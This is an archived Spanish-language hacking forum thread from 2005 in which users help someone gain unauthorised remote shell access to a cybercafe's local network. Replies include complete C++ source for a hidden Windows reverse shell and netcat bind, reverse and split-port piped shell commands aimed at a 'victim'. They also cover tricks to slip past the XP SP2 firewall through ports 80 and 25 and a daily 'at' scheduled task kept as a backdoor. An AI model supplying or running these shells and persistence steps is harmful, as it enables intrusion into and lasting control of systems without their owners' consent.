elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
05 Septiembre 2008, 17:52  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado (Moderadores: ANELKAOS, zhyzura)
| | |-+  problemas con reverse shell
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: problemas con reverse shell  (Leído 3099 veces)
Fray

Desconectado Desconectado

Mensajes: 32


Ver Perfil
problemas con reverse shell
« en: 04 Febrero 2005, 09:09 »

Hola, vereis estoy intentando conseguir acceso a una red local desde fuera de esa red, esta LAN tiene un router (es de un cibercafe) e intentando utilizar el xploit de Adik (cambiando la IP 127.0.0.1 por la externa de esa red en el codigo fuente, que por cierto no es la misma del router :s) dejo el netcat escuchando en el puerto 55 y el xploit esta compilado para dirigirse al puerto 55 de mi maquina,ejecuto el xploit pero no hace nada, ¿Que es lo que hago mal? Decidme si no me he explicado bien. Gracias
En línea
Ivanchuk

Desconectado Desconectado

Mensajes: 250



Ver Perfil WWW
Re: problemas con reverse shell
« Respuesta #1 en: 04 Febrero 2005, 14:34 »

mmm, no conozco el Adik, pero por lo que pude leer hace un reverse shell. Porque no intentas dejar el netcat a la escucha en el ciber, es decir: nc -l -p 4444 -e cmd.exe, y luego haces telnet ipciber 4444. Claro que tendras que saber la ip pública de esa maquina. A lo mejor tenes un fw de por medio por eso intentas hacer un reverse shell, nuc. 1saludo
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.
G4rBaG3

Desconectado Desconectado

Mensajes: 191



Ver Perfil WWW
Re: problemas con reverse shell
« Respuesta #2 en: 04 Febrero 2005, 14:56 »

Para que dejar a la escucha el nc al puerto 4444????, si no sabemos como es el exploit menos se avivina en que puerto resibimos la shell.

Bueno yo tampoco se que exploit es  ese :P, pero me gustaria darles a conocer algo que me di cuenta:

Si nosotros tenemos una Lan con un servidor que s econecta a internet ya sea por conexion dial up u otra, si nosotros atacamos un host y el exploit da una reverse shell el nc lo deberiamos dejar escuchando en el servidor NO en la maquina donde estemos....
ya que dentro de una red lan, la IP de casa pc es la misma que la del servidor, por eso la shell busca el puerto 'X' en el servidor y no en tu pc...
Espero que hayan entendido, ya se que esta desubicado completamete [ya que no respondo la duda de Fray] pero me parecio justo el momento del post ya que es casi del mismo tema :P

Salu2.

G4rBaG3.
En línea

Don't worry, be hacked....
heap

Desconectado Desconectado

Mensajes: 273



Ver Perfil WWW
Re: problemas con reverse shell
« Respuesta #3 en: 05 Febrero 2005, 01:55 »

Para que dejar a la escucha el nc al puerto 4444????, si no sabemos como es el exploit menos se avivina en que puerto resibimos la shell.

Bueno yo tampoco se que exploit es  ese :P, pero me gustaria darles a conocer algo que me di cuenta:

Si nosotros tenemos una Lan con un servidor que s econecta a internet ya sea por conexion dial up u otra, si nosotros atacamos un host y el exploit da una reverse shell el nc lo deberiamos dejar escuchando en el servidor NO en la maquina donde estemos....
ya que dentro de una red lan, la IP de casa pc es la misma que la del servidor, por eso la shell busca el puerto 'X' en el servidor y no en tu pc...
Espero que hayan entendido, ya se que esta desubicado completamete [ya que no respondo la duda de Fray] pero me parecio justo el momento del post ya que es casi del mismo tema :P

Salu2.

G4rBaG3.
LOL para eso se usa NAT, en caso de una reverse shell, necestiatas hacerle forwarding a tu ip privada en el servidor(router generalmente), de determinado puerto
En línea

Gospel
Colaborador

Desconectado Desconectado

Mensajes: 1.576


monokuroumu


Ver Perfil WWW
Re: problemas con reverse shell
« Respuesta #4 en: 10 Febrero 2005, 11:55 »

No se trata de ningún "exploit", es un programa para reverse shell escrito por Adik en C++:

Código:
#include <winsock2.h>
#include <stdio.h>


int main(int argc, char *argv[])
{
        WSADATA wsaData;
        SOCKET hSocket;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        struct sockaddr_in adik_sin;
        memset(&adik_sin,0,sizeof(adik_sin));
        memset(&si,0,sizeof(si));
        WSAStartup(MAKEWORD(2,0),&wsaData);
        hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
        adik_sin.sin_family = AF_INET;
        adik_sin.sin_port = htons(4949);
        adik_sin.sin_addr.s_addr = inet_addr("192.168.0.1");
        connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
        si.cb = sizeof(si);
        //si.dwFlags = STARTF_USESTDHANDLES;
si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;//
si.wShowWindow = SW_HIDE;//
si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
        CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
        ExitProcess(0);

}

No me ha quedado claro tu propósito, intentas acceder a la red local del ciber desde tu casa?? En ese caso, sería cuestión de dejar en tu ordenador de casa el puerto 8787 a la escucha con  c:\nc -l -p 8787 -vv. En caso de q el equipo de tu casa acceda a un internet por un router, debes mapear el puerto en el router para q las conexiones a ese puerto sean direccionadas a tu equipo. Si te conectas con modem, no hace falta.

Ahora te toca irte al ciber y conectarte inversamente al equipo de tu casa. Esto lo puedes hacer:
1) a pelo con el netcat, devolviendo la shell inversa así: nc -d -e cmd.exe ip.ip.ip.ip 8787, poniendo la IP de tu equipo en casa.
2) con el programa shell inversa de Adik, sólo tienes q cambiar la dirección IP por la de tu casa y el puerto por 8787 (o el q tu elijas)

Si el ciber tiene firewall, q es bastante posible, no dejará pasar ningún paquete dirigido a ese puerto tan extraño, asi q es posible q tengas q disfrazar la conexión por otro puerto q no filtre el router, como el 80. No estoy seguro de esto, pero en ese caso, deberías dejar en escucha el nc en el puerto 80 del equipo de tu casa y en el ciber, devolver la shell inversa al puerto destino 80 de la IP de tu casa. Entonces, el router no filtraría el paquete y lo dejaría pasar, siempre y cuando filtre los paquetes únicamente por puerto destino y no por contenido, en cuyo caso el router detectará q el paquete no es HTTP y lo descartará. Por favor, ¿alguien me puede confirmar esto q digo, lo de devolver la shell remota inversa al puerto 80??, es q tengo mis dudas ahora q lo pienso.

De todas formas, para q quieres tener una shell remota de una LAN de un cibercafe?? Una vez q el equipo q sirve (servidor) la shell remota cierre su sesión, adios shell! No puedes ir tú al cibercafé, devolver la shell al equipo de tu casa y pirarte pq cuando llegues a casa, descubrirás q la shell se ha desconectado. Lo más viable sería q un colega te ayudara desde dentro del cibercafe y te devolviera la shell a tu casa, desde ahí tu puedes hacer tus "gestiones".

Salu2
En línea

zhyzura
Sie sind nicht wie die anderen
Moderador
*****
Desconectado Desconectado

Mensajes: 2.103


"dieses ist es unsere Welt"


Ver Perfil
Re: problemas con reverse shell
« Respuesta #5 en: 10 Febrero 2005, 12:30 »

Citar
¿alguien me puede confirmar esto q digo, lo de devolver la shell remota inversa al puerto 80??
hoy mismo me pongo manos a la obra en este asunto, aunque si la memoria no me falla, hace tienpo inetente hacerlo y no me funciono  :-\

Citar
Lo más viable sería q un colega te ayudara desde dentro del cibercafe y te devolviera la shell a tu casa, desde ahí tu puedes hacer tus "gestiones".
otra manera seria que utilizaras el comando AT y dejaras programada la ejecucion del netcat para que te sirva la shell al equipo de tu casa a una hora determina en un dia determinado :P, ademas de que te va dar shell de system.

saludos
En línea

- - -->>  Sie urteilen zu uns seiend unterschiedlich  <<-- - -
unser Durst des
Wissens ist unersättlich
zhyzura
Sie sind nicht wie die anderen
Moderador
*****
Desconectado Desconectado

Mensajes: 2.103


"dieses ist es unsere Welt"


Ver Perfil
Re: problemas con reverse shell
« Respuesta #6 en: 11 Febrero 2005, 04:37 »

Nota: este tipo de conexion tu no la vas a poder realizar ya que se necesita que la victima tenga una ip publica y como tu victima esta dentro de una red y tu fuera de ella, vas a necesitar entrar al router y mapear los puertos para que automaticamente te redireccione a la maquina que deseas en caso contrario nunca lo podras lograr (no explico como mapear los puertos de un router, si quieres saber como se hace lee el manual de tu router)

A la hora de que la victima deja a la escucha el netcat en el puerto 80,

Código:
nc -l -d -e cmd.exe -p 80

automaticamente le salta la pantallita del firewall alertando de que el "nc" esta realizando una conexion, la verdad esto seria muy detestable a la hora de realizar una intrusion por que se le tiene que decir al firewall que lo permita.
despues de saber que la victima ya tiene un nc a la escucha en el puerto 80 ya podemos conectar para que nos devuelva la shell:

Código:
nc -vv 192.168.1.4 80

siguiendo este procedimiento no debe de darles problema para devoverles la shell, lo unico que si les puedo decir es que la conexion se vuelve algo lenta, tanto en internet como la conexion con el nc.



[CONEXION INVERSA CON LA VICTIMA]

Nota: para los que aun no lo saben al decir conexion inversa quiere decir que la victima se va a conectar con el atacante y ademas el atacante tiene que tener una ip publica o accesible a la victima.

lo primero que tenemos que hacer como la mayoria ya lo sabe es dejar un netcat a la escucha en el equipo atacante para que la victima nos sirva la shell.

Código:
nc -vv -l -p 80

ahora que ya esta preparado el atacante, la victima tiene que mandarle la shell al puerto que tiene en escucha el netcat, esto seria asi:

Código:
nc -d -e cmd.exe 192.168.1.2 80

A la hora de ejecutar dicho comando, el firewall del Sp2 no salta alertandonos de alguna anomalia (eso es bueno para nosotros), pero el problema es que nunca nos manda la shell al equipo atacante (eso sono peor que lo anterior), quizas sea por el Sp2 aunque aun no aseguro nada, espero alguien pruebe una reverse shell para asegurarme de lo que me paso.

en pocas palabras lo mejor seria dejar un netcat a la escucha en el puerto 80 pero el problema seria que el firewall nos llamaria la atencion y tendriamos que permitir el uso del nc(en tu caso seria en el router), ademas de que tendriamos que tener los dos equipos dentro una misma red o ambos equipos con una ip publica para que sea accesible.
si un susario de xp sp2 revisara su firewall y observara que tiene un "nc" habilitado lo mas seguro es que empiece a sospechar de un posible intruso y nuetra fiesta se haya terminado...


Ahora bien despues de observar un poco la situacion sabemos que el equipo victima puede resivir paquetes por el puerto 80 pero no nos los pudo devolver en el mismo puerto (vease el caso de la conexion inversa por el puerto 80... fallo), y nosotros necesitamos una conexion inversa que nos saque de este apuro.
como todos sabran, la mayoria de los firewall tienen habilitados los puertos 80(http) y 25(smtp), inclusive el sp2 los permite sin previa configuracion, asi de que ¿por que no utilizar ambos puertos para que el equipo victima nos devuelva la shell?, suena algo dificil pero en realidad no lo es, lo que vamos a hacer sera voltear la shell con netcat.





[VOLTEAR LA SHELL CON NETCAT]

Nota: en este tipo de conexion no vamos a necesitar que ambos equipos tengan ip publica, basta con que el atacante tenga una, ademas de que ambos equipos tengan habilitada la entrada en el puerto 80 y la salida en el puerto 25.

En primer lugar vamos a necesitar poner dos netcat a la escucha en el equipo atacante (cada uno en su propia ventana o indicador de comando, como gusten llamarle).

en uno ponemos el puerto 80:
Código:
nc -vv -l -p 80

y en el otro ponemos el puerto 25:
Código:
nc -vv -l -p 25

Ya que tenemos todo listo, basta con que el equipo victima ejecute el siguiente comando (recordar que en mi ejemplo el atacante tiene ip 192.168.1.2):

Código:
nc 192.168.1.2 80 | cmd.exe | nc 192.168.1.2 25

y walaa!!!!! ya tenemos la shell de nuestra victima y el firewall del sp2 no dira ni pio, ya que por defecto admite la entrada de informacion por el puerto 80 y la salida por el 25.

Ahora bien como vamos a mandar los comandos a la shell remota?
como dije anteriormente nosotros le vamos a enviar los comandos desde la ventana en la cual teniamos el netcat a la escucha en el puerto 80 y automaticamente la victima nos va a devolver los resultados en la ventana que tiene el netcat a la escucha en el puerto 25 (vease la imagen adjunta a este post).





[DEJARLO COMO PUERTA TRASERA]

pues bien ahora tenemos otro problema y es de que tendriamos que ejecutar dicho comando en la victima cada vez que quisieramos la shell.

lo que podemos hacer aqui es dejarlo programado para que se ejecute diariamente a determinada hora que nosotros ya tengamos previamente nuestro netcat a la espera de la shell, para esto vamos a utilizar el comando AT, la sintaxis seria la siguiente:

Código:
at <dia> <hora> "comando"

por lo tanto quedaria asi:

Código:
at /every:1 6:00p ""nc 192.168.1.2 80 | cmd.exe | nc 192.168.1.2 25""

de esta manera ejecutara el netcat diariamente a las 6:00 p.m. tomando en cuenta de que el nc ya se encuentre en system32, en caso contrario van a tener que poner la ruta del netcat.
para verificar que se haya agregado la tarea solo tecleen:
Código:
at

si quieren ver todas las opciones del comando at solo teclen:

Código:
at -h

creo que con eso seria todo, espero haberme explicado de buena manera.


zaludox



P.D. Oye Rojodos, no estaria mal implementar este tipo de parametros con el netcat en linux solo seria cambiar la ruta de la shell (creo que por alli lei que tenias como compilar el netcat en linux con ciertos flags que no vienen por defecto y que ademas son algo peligrosos :P, asi veriamos que pasa xDD).
creo que mejor ya me voy a dormir que empiezo a delirar xDD
« Última modificación: 11 Febrero 2005, 04:40 por zhyzura » En línea

- - -->>  Sie urteilen zu uns seiend unterschiedlich  <<-- - -
unser Durst des
Wissens ist unersättlich
octalh

Desconectado Desconectado

Mensajes: 533


"El sueño de la razón produce monstruos"


Ver Perfil WWW
Re: problemas con reverse shell
« Respuesta #7 en: 11 Febrero 2005, 07:37 »

eso de dejarlo como taera programada es muy bueno pero el problema es que aparece en las tareas programadas y si alguien lo borra, adios a nuestra back door  :'(

lo que yo e hecho es  poner un timer en la maquina victima que ejecute una reverse shell cada x tiempo, así si la shell se me cuelga solo me descoencto, me vuelvo a poner en escucha y espero la shell otra ves
En línea

「エステバン 」
ReCoLeCtAr DaToS eS SoLo El PriMeR pASo A la SaBiDuRIa
PeRo CoMpArTiR DaToS eS eL pRiMeR pAsO a La CoMuNidAD...

http://www.octalh.mx.gs/



http://www.aztekmindz.org
Gospel
Colaborador

Desconectado Desconectado

Mensajes: 1.576


monokuroumu


Ver Perfil WWW
Re: problemas con reverse shell
« Respuesta #8 en: 13 Febrero 2005, 03:25 »

Joer zhyzura, muy bueno el post sobre el uso de netcat en shells remotas. Hace tiempo q llevo queriendo escribir un recopilatorio de los parámetros q necesita nc para "shell directa" o "shell inversa". Los tengo apuntados en un papel y a veces me toca buscarlos pq los necesito...

Te importaría hacer los honores de publicar un nuevo hilo con el uso de netcat en los 3 tipos de shell remotas: directa, inversa y pipeada? Lo digo, pq ya q te has currado esta explicación, estaría mal q se perdiera en la inmensidad del foro, resulta bastante útil tenerlo a mano. Venga, publícalo en un nuevo hilo y lo cuelgas en el Recopilatorio de Manuales y Textos interesantes, porfa. (Ya sé q tenemos por ahi el manual de netcat, pero es un tostón tener q leerte todos los parámetros y ver q significan, queda más claro utilizarlos dentro de un escenario...)

Gracias.

Salu2
« Última modificación: 13 Febrero 2005, 03:27 por Gospel » En línea

Páginas: [1] Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC